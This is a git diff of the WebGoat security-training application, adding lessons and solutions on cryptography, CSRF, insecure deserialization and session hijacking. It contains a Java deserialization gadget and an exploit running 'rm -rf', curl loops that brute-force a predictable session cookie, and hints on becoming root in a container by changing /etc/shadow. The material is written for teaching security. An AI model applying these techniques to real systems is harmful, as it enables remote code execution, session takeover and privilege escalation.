Wikipedia,window=_blank] diff --git a/src/main/resources/lessons/cryptography/documentation/signing.adoc b/src/main/resources/lessons/cryptography/documentation/signing.adoc new file mode 100644 index 000000000..321cf9f26 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/signing.adoc @@ -0,0 +1,40 @@ += Signing + +A signature is a hash that can be used to check the validity of some data. The signature can be supplied separately from the data that it validates, or in the case of CMS or SOAP can be included in the same file. (Where parts of that file contain the data and parts contain the signature). + +Signing is used when integrity is important. It is meant to be a guarantee that data sent from Party-A to Party-B was not altered. So Party-A signs the data by calculating the hash of the data and encrypting that hash using an asymmetric private key. Party-B can then verify the data by calculating the hash of the data and decrypting the signature to compare if both hashes are the same. + +== RAW signatures + +A raw signature is usually calculated by Party-A as follows: + +* create a hash of the data (e.g. SHA-256 hash) +* encrypt the hash using an asymmetric private key (e.g. RSA 2048 bit key) +* (optionally) encode the binary encrypted hash using base64 encoding + +Party-B will have to get the certificate with the public key as well. This might have been exchanged before. So at least 3 files are involved: the data, the signature and the certificate. + +== CMS signatures + +A CMS signature is a standardized way to send data + signature + certificate with the public key all in one file from Party-A to Party-B. As long as the certificate is valid and not revoked, Party-B can use the supplied public key to verify the signature. + +== SOAP signatures + +A SOAP signature also contains data and the signature and optionally the certificate. All in one XML payload. There are special steps involved in calculating the hash of the data. This has to do with the fact that the SOAP XML sent from system to system might introduce extra elements or timestamps. +Also, SOAP Signing offers the possibility to sign different parts of the message by different parties. + + +== Email signatures + +Sending emails is not very difficult. You have to fill in some data and send it to a server that forwards it, and eventually it will end up at its destination. However, it is possible to send emails with a FROM field that is not your own email address. In order to guarantee to your receiver that you really sent this email, you can sign your email. A trusted third party will check your identity and issue an email signing certificate. You install the private key in your email application and configure it to sign emails that you send out. The certificate is issued on a specific email address and all others that receive this email will see an indication that the sender is verified, because their tools will verify the signature using the public certificate that was issued by the trusted third party. + +== PDF or Word or other signatures + +Adobe PDF documents and Microsoft Word documents are also examples of things that support signing. The signature is also inside the same document as the data so there is some description on what is part of the data and what is part of the metadata. +Governments usually send official documents with a PDF that contains a certificate. + +== Assignment + +Here is a simple assignment. A private RSA key is sent to you. Determine the modulus of the RSA key as a hex string, and calculate a signature for that hex string using the key. The exercise requires some experience with OpenSSL. You can search on the Internet for useful commands and/or use the HINTS button to get some tips. + + diff --git a/src/main/resources/lessons/cryptography/html/Cryptography.html b/src/main/resources/lessons/cryptography/html/Cryptography.html new file mode 100644 index 000000000..6e6f32767 --- /dev/null +++ b/src/main/resources/lessons/cryptography/html/Cryptography.html @@ -0,0 +1,129 @@ + + + +
+ +
+ + +
+
+
+ +
+
+ +
+
+ Now suppose you have intercepted the following header:
+

+ + Then what was the username + + and what was the password: + + + +
+
+
+
+ +
+
+ +
+
+
+ Suppose you found the database password encoded as {xor}Oz4rPj0+LDovPiwsKDAtOw==
+ What would be the actual password +
+ +
+
+
+
+
+ + +
+
+ +
+
+
+ Which password belongs to this hash:
+
+ Which password belongs to this hash:
+ + +
+
+
+
+
+ + +
+
+
+ + +
+
+ +
+
+ Now suppose you have the following private key:
+

+
+ Then what was the modulus of the public key + + and now provide a signature for us based on that modulus + + +
+
+
+
+
+ + +
+
+
+ + +
+
+ +
+
+
+ What is the unencrypted message
+
+ and what is the name of the file that stored the password
+ + +
+
+
+
+
+ +
+
+
+ + diff --git a/src/main/resources/lessons/cryptography/i18n/WebGoatLabels.properties b/src/main/resources/lessons/cryptography/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..67aad0b7d --- /dev/null +++ b/src/main/resources/lessons/cryptography/i18n/WebGoatLabels.properties @@ -0,0 +1,32 @@ +6.crypto.title=Crypto Basics + +crypto-encoding.empty=Try again, did you decode it properly? +crypto-encoding.success=Congratulations. That was easy, right? + +crypto-hashing.empty=Try again. +crypto-hashing.oneok=Try again. You got 1 right. +crypto-hashing.success=Congratulations. You found it! + +crypto-hashing.hints.1=Guess the type of hashing from the length of the hash. +crypto-hashing.hints.2=Find a online hash database or just google on the hash itself. + +crypto-signing.hints.1=Use openssl to get the public key from the private key. Apparently both private and public key information are stored. +crypto-signing.hints.2=Use the private key to sign the "modulus" value of the public key. +crypto-signing.hints.3=Actually the "modulus" of the public key is the same as the private key. You could use openssl rsa -in test.key -pubout > test.pub and then openssl rsa -in test.pub -pubin -modulus -noout or other components. +crypto-signing.hints.4=Make sure that you do not take hidden characters into account. You might want to use echo -n "00AE89..." | openssl dgst -sign somekey -sha256 ... and do not forget to base64 encode the outcome + + +crypto-signing.notok=The signature does not match the data (modulus) +crypto-signing.modulusnotok=The modulus is not correct +crypto-signing.success=Congratulations. You found it! + +crypto-encoding-xor.empty=Try again. This is not right +crypto-encoding-xor.success=Congratulations. +crypto-encoding-xor.hints.1=Did you look for online decoders for WebSphere encoded password? + +crypto-secure-defaults.hints.1=After starting the docker container enter the container using docker exec -ti _dockerid_ /bin/bash +crypto-secure-defaults.hints.2=Try to gain access to /root. Try to become user root by su - +crypto-secure-defaults.hints.3=Try to change the /etc/shadow file using docker cp +crypto-secure-defaults.success=Congratulations, you did it! +crypto-secure-defaults.messagenotok=The unencrypted message is not correct, try again. The filename of the password file is correct. +crypto-secure-defaults.notok=Try again or read some of the hints. diff --git a/webgoat-lessons/csrf/src/main/resources/css/reviews.css b/src/main/resources/lessons/csrf/css/reviews.css similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/css/reviews.css rename to src/main/resources/lessons/csrf/css/reviews.css diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Basic_Get-1.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Basic_Get-1.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Basic_Get-1.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Basic_Get-1.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_ContentType.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_ContentType.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc similarity index 85% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc index 43b9d31f6..0a2b95255 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc +++ b/src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc @@ -18,8 +18,8 @@ Remember the session cookie should always be defined with http-only flag. Another defense can be to add a custom request header to each call. This will work if all the interactions with the server are performed with JavaScript. On the server side you only need to check the presence of this header if this header is not present deny the request. -Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed -as well. You can read about: http://insert-blogspot.nl/2018/05/adobe-reader-pdf-client-side-request.html?m=1[Adobe Reader PDF - Client Side Request Injection] +Some frameworks offer this implementation by default however researcher Alex Infuhr found out that this can be bypassed +as well. You can read about: https://insert-script.blogspot.com/2018/05/adobe-reader-pdf-client-side-request.html[Adobe Reader PDF - Client Side Request Injection] diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_GET.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_GET.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_GET.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_GET.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Get_Flag.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Get_Flag.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Get_Flag.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Get_Flag.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Impact_Defense.adoc similarity index 82% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Impact_Defense.adoc index c6ef48c1c..5dccea3a4 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc +++ b/src/main/resources/lessons/csrf/documentation/CSRF_Impact_Defense.adoc @@ -15,7 +15,7 @@ For example requests for `http://webgoat.org/something` will attach same-site co There are two modes, strict and lax. The first one does not allow cross site request, this means when you are on github.com and you want to like it through Facebook (and Facebook specifies same-site as strict) you will be redirected to the login page, because the browser does not attach the cookie for Facebook. -More information can be found here: www.sjoerdlangkemper.nl/2016/04/14/preventin-csrf-with-samesite-cookie-attribute/ +More information can be found here: https://www.sjoerdlangkemper.nl/2016/04/14/preventing-csrf-with-samesite-cookie-attribute/ === Other protections @@ -24,10 +24,10 @@ Tomcat have this on by default. As long as you don't turn it off (like it is in See the following for more information on CSRF protections: -https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet (Prevention/Defense) +https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html (Prevention/Defense) -https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) (Attack) +https://owasp.org/www-community/attacks/csrf (Attack) https://tomcat.apache.org/tomcat-7.0-doc/config/filter.html#CSRF_Prevention_Filter / https://tomcat.apache.org/tomcat-8.0-doc/config/filter.html#CSRF_Prevention_Filter (Tomcat) -https://docs.spring.io/spring-security/site/docs/current/reference/html/csrf.html \ No newline at end of file +https://docs.spring.io/spring-security/site/docs/current/reference/html5/#csrf diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_JSON.adoc similarity index 96% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_JSON.adoc index 41e8e3d4c..2f0a2c339 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc +++ b/src/main/resources/lessons/csrf/documentation/CSRF_JSON.adoc @@ -11,26 +11,26 @@ To make a long answer short: this is *not* a valid protection against CSRF. One example why this protection is not enough can be found https://bugs.chromium.org/p/chromium/issues/detail?id=490015[here]. Turns out `Navigator.sendBeacon()` was allowed to send POST request with an arbitrary content-type. -[qoute, developer.mozilla.org] +[quote, 'developer.mozilla.org'] ____ The navigator.sendBeacon() method can be used to asynchronously transfer a small amount of data over HTTP to a web server. This method addresses the needs of analytics and diagnostics code that typically attempts to send data to a web server prior to the unloading of the -document. Sending the data any sooner may result in a missed opportunity to gather data..." +document. Sending the data any sooner may result in a missed opportunity to gather data... ____ {nbsp} + For example: [source] ----- +-- function postBeacon() { var data= new Blob([JSON.stringify({"author" :"WebGoat"})], {type : 'application/json'}); navigator.sendBeacon("http://localhost:8083", data) } ----- +-- -[quote, Eduardo Vela] +[quote, 'Eduardo Vela'] ____ I think Content-Type restrictions are useful for websites that are accidentally safe against CSRF. They are not meant to be, but they are because they happen to only accept XML or JSON payloads. diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Login.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Login.adoc similarity index 89% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Login.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Login.adoc index dfc8ec854..64cc8a6d5 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Login.adoc +++ b/src/main/resources/lessons/csrf/documentation/CSRF_Login.adoc @@ -5,8 +5,8 @@ In a login CSRF attack, the attacker forges a login request to an honest site using the attacker’s username and password at that site. If the forgery succeeds, the honest server responds with a `Set-Cookie` header that instructs the browser to mutate its state by storing a session cookie, logging the user into -the honest site as the attacker. This session cookie is used to bind subsequent requests to the user’s session and hence -to the attacker’s authentication credentials. Login CSRF attacks can have serious consequences, for example +the honest site as the attacker. This session cookie is used to bind subsequent requests to the user's session and hence +to the attacker's authentication credentials. Login CSRF attacks can have serious consequences, for example see the picture below where an attacker created an account at google.com the victim visits the malicious website and the user is logged in as the attacker. The attacker could then later on gather information about the activities of the user. diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Reviews.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Reviews.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Reviews.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Reviews.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_intro.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_intro.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_intro.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_intro.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html b/src/main/resources/lessons/csrf/html/CSRF.html similarity index 88% rename from webgoat-lessons/csrf/src/main/resources/html/CSRF.html rename to src/main/resources/lessons/csrf/html/CSRF.html index 71d08a816..01fdb696c 100644 --- a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html +++ b/src/main/resources/lessons/csrf/html/CSRF.html @@ -3,28 +3,27 @@
-
+
-
+
-
+
+ action="/WebGoat/csrf/basic-get-flag">
-
+
@@ -36,8 +35,7 @@
+ action="/WebGoat/csrf/confirm-flag-1"> Confirm Flag Value: @@ -56,7 +54,7 @@
-
+
@@ -123,15 +121,15 @@
-
+
-
+
-
+
-
+
@@ -214,8 +212,7 @@
+ action="/WebGoat/csrf/feedback"> Confirm Flag Value: @@ -230,7 +227,7 @@
-
+
@@ -239,8 +236,7 @@
+ action="/WebGoat/csrf/login"> Press the button below when your are logged in as the other user
@@ -255,10 +251,10 @@
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/csrf/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/csrf/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/csrf/src/main/resources/images/login-csrf.png b/src/main/resources/lessons/csrf/images/login-csrf.png similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/images/login-csrf.png rename to src/main/resources/lessons/csrf/images/login-csrf.png diff --git a/webgoat-lessons/csrf/src/main/resources/js/csrf-review.js b/src/main/resources/lessons/csrf/js/csrf-review.js similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/js/csrf-review.js rename to src/main/resources/lessons/csrf/js/csrf-review.js diff --git a/webgoat-lessons/csrf/src/main/resources/js/feedback.js b/src/main/resources/lessons/csrf/js/feedback.js similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/js/feedback.js rename to src/main/resources/lessons/csrf/js/feedback.js diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc similarity index 60% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc index f5c5363d3..438961c11 100644 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc @@ -1,5 +1,5 @@ == What is a Gadgets Chain -It is weird (but it could happen) to find a gadget that runs dangerous actions itself when is deserialized. However, it is much easier to find a gadget that runs action on other gadget when it is deserializaded, and that second gadget runs more actions on a third gadget, and so on until a real dangerous action is triggered. That set of gadgets that can be used in a deserialization process to achieve dangerous actions is called "Gadget Chain". +It is weird (but it could happen) to find a gadget that runs dangerous actions itself when is deserialized. However, it is much easier to find a gadget that runs action on other gadget when it is deserialized, and that second gadget runs more actions on a third gadget, and so on until a real dangerous action is triggered. That set of gadgets that can be used in a deserialization process to achieve dangerous actions is called "Gadget Chain". Finding gadgets to build gadget chains is an active topic for security researchers. This kind of research usually requires to spend a big amount of time reading code. \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Intro.adoc similarity index 100% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Intro.adoc diff --git a/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc new file mode 100644 index 000000000..744d61872 --- /dev/null +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc @@ -0,0 +1,70 @@ +== The Simplest Exploit + +=== Vulnerable code + +The following is a well-known example for a Java Deserialization vulnerability. + +[source,java] +---- +InputStream is = request.getInputStream(); +ObjectInputStream ois = new ObjectInputStream(is); +AcmeObject acme = (AcmeObject)ois.readObject(); +---- + +It is expecting an `AcmeObject` object, but it will execute `readObject()` before the casting occurs. +If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to perform those actions. + +=== Class included in ClassPath + +Attackers need to find a class in the classpath that supports serialization and with dangerous implementations on `readObject()`. + +[source,java] +---- +package org.dummy.insecure.framework; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.ObjectInputStream; +import java.io.Serializable; +import java.time.LocalDateTime; + +public class VulnerableTaskHolder implements Serializable { + + private static final long serialVersionUID = 1; + + private String taskName; + private String taskAction; + private LocalDateTime requestedExecutionTime; + + public VulnerableTaskHolder(String taskName, String taskAction) { + super(); + this.taskName = taskName; + this.taskAction = taskAction; + this.requestedExecutionTime = LocalDateTime.now(); + } + + private void readObject( ObjectInputStream stream ) throws Exception { + //deserialize data so taskName and taskAction are available + stream.defaultReadObject(); + + //blindly run some code. #code injection + Runtime.getRuntime().exec(taskAction); + } +} +---- + +=== Exploit + +If the java class shown above exists, attackers can serialize that object and obtain Remote Code Execution. + +[source,java] +---- +VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile"); + +ByteArrayOutputStream bos = new ByteArrayOutputStream(); +ObjectOutputStream oos = new ObjectOutputStream(bos); +oos.writeObject(go); +oos.flush(); +byte[] exploit = bos.toByteArray(); +---- \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc similarity index 92% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc index 6e65617a7..2f96bde14 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc @@ -1,5 +1,5 @@ === Let's try -The following input box receives a serialized object (a string) and it deserialzes it. +The following input box receives a serialized object (a string) and it deserializes it. ``` rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_WhatIs.adoc similarity index 100% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_WhatIs.adoc diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html b/src/main/resources/lessons/deserialization/html/InsecureDeserialization.html similarity index 59% rename from webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html rename to src/main/resources/lessons/deserialization/html/InsecureDeserialization.html index 5bdb4cd5a..1b64172f4 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html +++ b/src/main/resources/lessons/deserialization/html/InsecureDeserialization.html @@ -3,32 +3,29 @@
-
+
-
+
-
+
-
+
-
+
- + action="/WebGoat/InsecureDeserialization/task"> diff --git a/src/main/resources/lessons/deserialization/i18n/WebGoatLabels.properties b/src/main/resources/lessons/deserialization/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..b4e5e498b --- /dev/null +++ b/src/main/resources/lessons/deserialization/i18n/WebGoatLabels.properties @@ -0,0 +1,11 @@ +insecure-deserialization.title=Insecure Deserialization + +insecure-deserialization.invalidversion=The serialization id does not match. Probably the version has been updated. Let's try again. +insecure-deserialization.expired=The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let's try again. +insecure-deserialization.wrongobject=That is not the VulnerableTaskHolder object. Good try! because the code is not checking this after running the readObject(). Let's try again with the right object. +insecure-deserialization.stringobject=That is not the VulnerableTaskHolder object. However a plain String is harmless. Let's try again with the right object. + + +insecure-deserialization.hints.1=WebGoat probably contains the org.dummy.insecure.framework.VulnerableTaskHolder class as shown on the lesson pages. Use this to construct and serialize your attack. +insecure-deserialization.hints.2=The VulnerableTaskHolder might have been updated on the server with a next version number. +insecure-deserialization.hints.3=Not all actions are allowed anymore. The readObject has been changed. For serializing it does not effect the data. Follow the additional hints from the feedback on your attempts. \ No newline at end of file diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/employees.xml b/src/main/resources/lessons/employees.xml similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/employees.xml rename to src/main/resources/lessons/employees.xml diff --git a/src/main/resources/lessons/hijacksession/documentation/HijackSession_content0.adoc b/src/main/resources/lessons/hijacksession/documentation/HijackSession_content0.adoc new file mode 100644 index 000000000..8b260b0da --- /dev/null +++ b/src/main/resources/lessons/hijacksession/documentation/HijackSession_content0.adoc @@ -0,0 +1,4 @@ += Hijack a Session + +In this lesson we are trying to predict the 'hijack_cookie' value. THe 'hijack_cookie' is used to differentiate authenticated and anonymous users of WebGoat. + diff --git a/src/main/resources/lessons/hijacksession/documentation/HijackSession_plan.adoc b/src/main/resources/lessons/hijacksession/documentation/HijackSession_plan.adoc new file mode 100644 index 000000000..dd5a74336 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/documentation/HijackSession_plan.adoc @@ -0,0 +1,10 @@ += Hijack a Session + +== Concept + +Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks. + + +== Goals + +Gain access to an authenticated session belonging to someone else. diff --git a/src/main/resources/lessons/hijacksession/html/HijackSession.html b/src/main/resources/lessons/hijacksession/html/HijackSession.html new file mode 100644 index 000000000..a341ff809 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/html/HijackSession.html @@ -0,0 +1,30 @@ + + + + + + + +
+
+
+ + +
+
+
+
+ +
+ +
+
+
+ +
+
+
+
+ + diff --git a/src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties b/src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..7d8972ae1 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties @@ -0,0 +1,7 @@ +hijacksession.title=Hijack a session + +hijacksession.hints.1=Check the 'hijack_cookie' cookie value and think about its format. +hijacksession.hints.2=The 'hijack_cookie' is divided in two parts and has the following format '"long number"-"another long number"'. +hijacksession.hints.3=The 'hijack_cookie' is divided in two parts and has the following format '"sequential number"-"unix epoch time"'. +hijacksession.hints.4=Try to send multiple requests to force the creation of new cookies and check if there's any pattern. +hijacksession.hints.5=Sometimes, authorized users logs into the application. diff --git a/src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc b/src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc new file mode 100644 index 000000000..e76cd39d1 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc @@ -0,0 +1,93 @@ += Hijack a Session + +== Solution + +Some standard Linux tools have been used on this solution. + +=== Analysis + +Inspect the 'hijack_cookie' cookie value: + +[source, text] +---- +3814082160704930327-1636910266991 +---- + +The 'hijack_cookie' is divided in two parts and has the following format: + +**-** + +The first part of the cookie value is an identifier that increases by 1 in each cookie, and the part after the dash is a time value that is calculated when the request is submitted. + +Notice that there is sometimes a gap in the first value of the 'hijack_cookie', where one number (or more) is skipped. The missing value means that possibly some user logged in into the system and an authorized cookie has been generated and assigned to him. + +It's simple to spot where this value is if we know the cookie values between this valid user cookie. + +=== Brute forcing + +Send some clean request (without setting the hijack_cookie) to the /WebGoat/HijackSession/login endpoint. + +[source, sh] +---- +# command +for i in $(seq 1 10); do +curl 'http://localhost:8080/WebGoat/HijackSession/login' \ +-H 'Connection: keep-alive' \ +-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \ +-H 'Accept: */*' \ +-H 'X-Requested-With: XMLHttpRequest' \ +-H 'sec-ch-ua-mobile: ?0' \ +-H 'User-Agent: any' \ +-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ +-H 'Origin: http://localhost:8080' \ +-H 'Sec-Fetch-Site: same-origin' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \ +-H 'Accept-Language: en-US,en;q=0.9' \ +-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW" \ +--data-raw 'username=&password=' \ +--compressed \ +--output /dev/null \ +-v +done + +# cookies +<...> +< Set-Cookie: hijack_cookie=3026815832223943295-1636913556701; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943296-1636913556848; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943297-1636913556998; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943299-1636913557143; path=/WebGoat; secure +<...> +---- + +Note: a valid WebGoat JSESSIONID has to be used. It can be obtained after logging in into WebGoat. + +The 'hijack_cookie' beginning with 3026815832223943298 is missing. This is the value we want, we just need to figure out the second part. + +So our timestamp is between 1636913556998 and 1636913557143. Now we just need a program to do brute force this for us. + +[source, sh] +---- +for i in $(seq 1636913556998 1636913557143); do +curl 'http://localhost:8080/WebGoat/HijackSession/login' \ +-H 'Connection: keep-alive' \ +-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \ +-H 'Accept: */*' \ +-H 'X-Requested-With: XMLHttpRequest' \ +-H 'sec-ch-ua-mobile: ?0' \ +-H 'User-Agent: any' \ +-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ +-H 'Origin: http://localhost:8080' \ +-H 'Sec-Fetch-Site: same-origin' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \ +-H 'Accept-Language: en-US,en;q=0.9' \ +-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW; hijack_cookie=3026815832223943298-"$i"" \ +--data-raw 'username=&password=' \ +--compressed +done +---- + +One of those requests will be a valid login and the lesson will be marked as completed. diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonSolutions/html/SqlInjection.html b/src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html similarity index 72% rename from webgoat-lessons/sql-injection/src/main/resources/lessonSolutions/html/SqlInjection.html rename to src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html index 42219764e..ac8ab94d5 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonSolutions/html/SqlInjection.html +++ b/src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html @@ -7,8 +7,8 @@
-
+
- \ No newline at end of file + diff --git a/src/main/resources/lessons/hijacksession/templates/hijackform.html b/src/main/resources/lessons/hijacksession/templates/hijackform.html new file mode 100644 index 000000000..16370fd90 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/templates/hijackform.html @@ -0,0 +1,24 @@ +
+
+ +
+

Account Access

+
+
+ + +
+
+ +
+ +
+
+ +
+
